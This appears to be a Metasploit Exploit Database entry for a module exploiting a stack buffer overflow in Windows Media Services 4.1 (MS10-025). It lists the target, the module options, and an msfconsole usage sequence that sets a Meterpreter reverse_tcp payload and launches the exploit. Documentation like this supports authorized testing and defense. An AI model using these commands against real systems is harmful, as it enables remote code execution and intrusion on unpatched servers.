Windows Media Services ConnectFunnel Stack Buffer Overflow | Metasploit Exploit Database (DB)

Windows Media Services ConnectFunnel Stack Buffer Overflow

This module exploits a stack buffer overflow in the Windows Media Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially crafted FunnelConnect request, an attacker can execute arbitrary code under the "NetShowServices" user account. Windows Media Services 4.1 ships with Windows 2000 Server, but is not installed by default. NOTE: This service does NOT restart automatically. Successful, as well as unsuccessful exploitation attempts will kill the service which prevents additional attempts.

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Exploit Rank

  • Great

Exploit Authors

  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Windows 2000 Pro SP4 English (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/mmsp/ms10_025_wmss_connect_funnel
msf exploit(ms10_025_wmss_connect_funnel) > show payloads
msf exploit(ms10_025_wmss_connect_funnel) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_025_wmss_connect_funnel) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_025_wmss_connect_funnel) > set RHOST [TARGET IP]
msf exploit(ms10_025_wmss_connect_funnel) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 1755)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
DynamicSehRecord Generate a dynamic SEH record (more stealthy)
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)